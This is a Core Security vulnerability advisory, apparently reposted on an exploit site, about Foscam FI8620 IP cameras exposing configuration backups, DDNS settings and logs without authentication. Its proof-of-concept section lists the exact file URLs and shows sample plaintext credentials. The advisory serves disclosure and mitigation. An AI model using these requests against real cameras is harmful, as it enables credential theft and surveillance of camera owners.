Author

Core Security

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-21026

Category

web applications

Date add

24-07-2013

CVE

CVE-2013-2574

Platform

hardware

FOSCAM IP-Cameras Improper Access Restrictions


1. *Advisory Information*

Title: FOSCAM IP-Cameras Improper Access Restrictions
Advisory ID: CORE-2013-0613
Advisory URL:
http://www.coresecurity.com/advisories/foscam-ip-cameras-improper-access-restrictions
Date published: 2013-07-23
Date of last update: 2013-07-23
Vendors contacted: Foscam
Release mode: User release


2. *Vulnerability Information*

Class: Information Exposure [CWE-200]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2574


3. *Vulnerability Description*

Due to improper access restriction the FOSCAM FI8620 device [1] allows a
remote attacker to browse and access arbitrary files from the following
directories '/tmpfs/' and '/log/' without requiring authentication. This
could allow a remote attacker to obtain valuable information such as
access credentials, Wi-Fi configuration and other sensitive information
in plain text.

The list of affected files includes, but is not limited to, the following:

   . 'http://<target_ip>/tmpfs/config_backup.bin'
   . 'http://<target_ip>/tmpfs/config_restore.bin'
   . 'http://<target_ip>/tmpfs/ddns.conf'
   . 'http://<target_ip>/tmpfs/syslog.txt'
   . 'http://<target_ip>/log/syslog.txt'


4. *Vulnerable Packages*

   . FOSCAM FI8620 PTZ Camera.
   . Other Foscam devices based on the same firmware are probably
affected too, but they were not checked.


5. *Non-Vulnerable Packages*

Vendor did not provide details. Contact Foscam for further information.


6. *Vendor Information, Solutions and Workarounds*

There was no official answer from Foscam after several attempts (see
[Sec. 9]); contact vendor for further information. Some mitigation
actions may be do not expose the camera to internet unless absolutely
necessary and have at least one proxy filtering HTTP requests to the
following resources:

   . '/tmpfs/config_backup.bin'
   . '/tmpfs/config_restore.bin'
   . '/tmpfs/ddns.conf'
   . '/tmpfs/syslog.txt'
   . '/log/syslog.txt'


7. *Credits*

This vulnerability was discovered by Flavio de Cristofaro and researched
with the help of Andres Blanco from Core Security Technologies. The
publication of this advisory was coordinated by Fernando Miranda from
Core Advisories Team.


8. *Technical Description / Proof of Concept Code*

8.1. *Accessing Manufacturer DDNS configuration*

By requesting the following URL using your default web browser:


/-----
http://<target_ip>/tmpfs/ddns.conf
-----/

you will see something like this:


/-----
[LoginInfo]
HostName=ddns.myfoscam.org
HostIP=113.105.65.47
Port=8080
UserName=<target username>
Password=<target plain password>
[Domain]
Domain=<target username>.myfoscam.org;
-----/


8.2. *Access Credentials Stored in Backup Files*

When a configuration backup is required by an operator/administrator,
the backup is generated in the local folder 'tmpfs' named as
'config_backup.bin'. The binary file is just a dump of the whole
configuration packed as Gzip and can be accessed by accessing the
following URL:

/-----
http://<target_ip>/tmpfs/config_backup.bin
-----/

The presence of this temporary file enables an unauthenticated attacker
to download the configuration files which contain usernames, plaintext
passwords (including admin passwords), Wifi configuration including
plain PSK, among other interesting stuff as shown below:

/-----
username             = "admin           "
password             = "admin           "
authtype             = "15              "         
authgroup            = "                "
[user1]
username             = "user            "
password             = "user            "
authtype             = "3               "         
authgroup            = "                "
[user2]
username             = "guest           "
password             = "guest           "
authtype             = "1               "         
authgroup            = "                "
-----/

It is important to mention that, in order to access the configuration
file previously mentioned, an operator and/or administrator should have
executed the backup process in advance.


9. *Report Timeline*
. 2013-06-12:
Core Security Technologies notifies the Foscam team of the vulnerability.

. 2013-06-12:
Vendor acknowledges the receipt of the email and asks for technical
details.

. 2013-06-13:
A draft report with technical details and a PoC is sent to vendor.
Publication date is set for Jul 3rd, 2013.

. 2013-06-17:
Core asks if the vulnerabilities are confirmed.

. 2013-06-17:
Foscam product team notifies that they have checked CORE's website [2],
but there is no Foscam info.

. 2013-06-18:
Core notifies that the advisory has not been published yet and re-sends
technical details and proof of concept.

. 2013-06-26:
CORE asks for a reply.

. 2013-07-03:
First release date missed.

. 2013-07-03:
Core asks for a reply.

. 2013-07-11:
Core notifies that the issues were reported 1 month ago and there was no
reply since [2013-06-18].

. 2013-07-23:
Core releases the advisory CORE-2013-0613 tagged as user-release.


10. *References*

[1] Foscam FI8620 - http://www.foscam.com/prd_view.aspx?id=176.
[2] CORE Security Advisories http://www.coresecurity.com/grid/advisories.

#  0day.today [2024-09-28]  #